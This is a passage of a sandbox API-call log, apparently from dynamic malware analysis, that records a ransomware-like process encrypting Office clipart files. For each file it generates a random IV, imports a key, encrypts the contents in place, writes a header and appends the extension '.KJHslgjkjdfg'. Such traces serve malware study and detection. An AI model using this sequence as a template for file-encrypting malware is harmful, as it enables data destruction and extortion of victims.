office\\clipart\\pub60cor\\so00656_.wmf.kjhslgjkjdfg")) returned 1 [0212.155] CloseHandle (hObject=0x130) returned 1 [0212.155] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00668_.WMF", cAlternateFileName="")) returned 1 [0212.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.156] GetProcessHeap () returned 0x990000 [0212.156] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.156] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.156] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0212.158] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.159] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.159] GetProcessHeap () returned 0x990000 [0212.159] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.159] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.159] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.159] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.159] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.159] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.159] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.159] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.159] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.159] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.160] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1652, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1652, lpOverlapped=0x0) returned 1 [0212.160] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1660, dwBufLen=0x1660 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1660) returned 1 [0212.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.161] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1660, lpOverlapped=0x0) returned 1 [0212.161] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.161] SetEndOfFile (hFile=0x130) returned 1 [0212.164] GetProcessHeap () returned 0x990000 [0212.164] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.164] GetProcessHeap () returned 0x990000 [0212.164] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.164] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf.kjhslgjkjdfg")) returned 1 [0212.166] CloseHandle (hObject=0x130) returned 1 [0212.166] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00670_.WMF", cAlternateFileName="")) returned 1 [0212.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.167] GetProcessHeap () returned 0x990000 [0212.167] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.167] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.168] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.168] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.168] GetProcessHeap () returned 0x990000 [0212.168] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.168] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.168] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.168] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.170] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.170] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.170] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.170] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.170] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.170] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.171] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.171] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16c0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16c0, lpOverlapped=0x0) returned 1 [0212.171] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16c0, dwBufLen=0x16c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16c0) returned 1 [0212.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.172] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16c0, lpOverlapped=0x0) returned 1 [0212.172] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.172] SetEndOfFile (hFile=0x130) returned 1 [0212.175] GetProcessHeap () returned 0x990000 [0212.175] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.175] GetProcessHeap () returned 0x990000 [0212.175] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.175] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf.kjhslgjkjdfg")) returned 1 [0212.177] CloseHandle (hObject=0x130) returned 1 [0212.177] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00671_.WMF", cAlternateFileName="")) returned 1 [0212.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.178] GetProcessHeap () returned 0x990000 [0212.178] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.179] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.179] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.179] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.179] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.179] GetProcessHeap () returned 0x990000 [0212.179] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.179] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.179] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.179] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.181] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.181] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.181] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.182] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.182] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.182] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.182] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.182] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5d0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5d0, lpOverlapped=0x0) returned 1 [0212.182] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5d0, dwBufLen=0x5d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5d0) returned 1 [0212.182] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.182] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5d0, lpOverlapped=0x0) returned 1 [0212.182] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.182] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.182] SetEndOfFile (hFile=0x130) returned 1 [0212.183] GetProcessHeap () returned 0x990000 [0212.183] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.183] GetProcessHeap () returned 0x990000 [0212.183] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf.kjhslgjkjdfg")) returned 1 [0212.185] CloseHandle (hObject=0x130) returned 1 [0212.185] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f14c400, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f14c400, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x62b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00683_.WMF", cAlternateFileName="")) returned 1 [0212.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.188] GetProcessHeap () returned 0x990000 [0212.188] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.188] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.188] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0212.190] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.190] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.190] GetProcessHeap () returned 0x990000 [0212.190] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.190] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.190] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.190] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.190] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.190] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.190] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.191] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.191] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.191] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.191] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x62b6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x62b6, lpOverlapped=0x0) returned 1 [0212.192] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x62c0, dwBufLen=0x62c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x62c0) returned 1 [0212.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.192] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x62c0, lpOverlapped=0x0) returned 1 [0212.192] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.192] SetEndOfFile (hFile=0x130) returned 1 [0212.195] GetProcessHeap () returned 0x990000 [0212.195] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.195] GetProcessHeap () returned 0x990000 [0212.195] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf.kjhslgjkjdfg")) returned 1 [0212.196] CloseHandle (hObject=0x130) returned 1 [0212.197] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6302, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00694_.WMF", cAlternateFileName="")) returned 1 [0212.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.199] GetProcessHeap () returned 0x990000 [0212.199] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.199] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.199] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0212.201] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.201] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.201] GetProcessHeap () returned 0x990000 [0212.201] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, 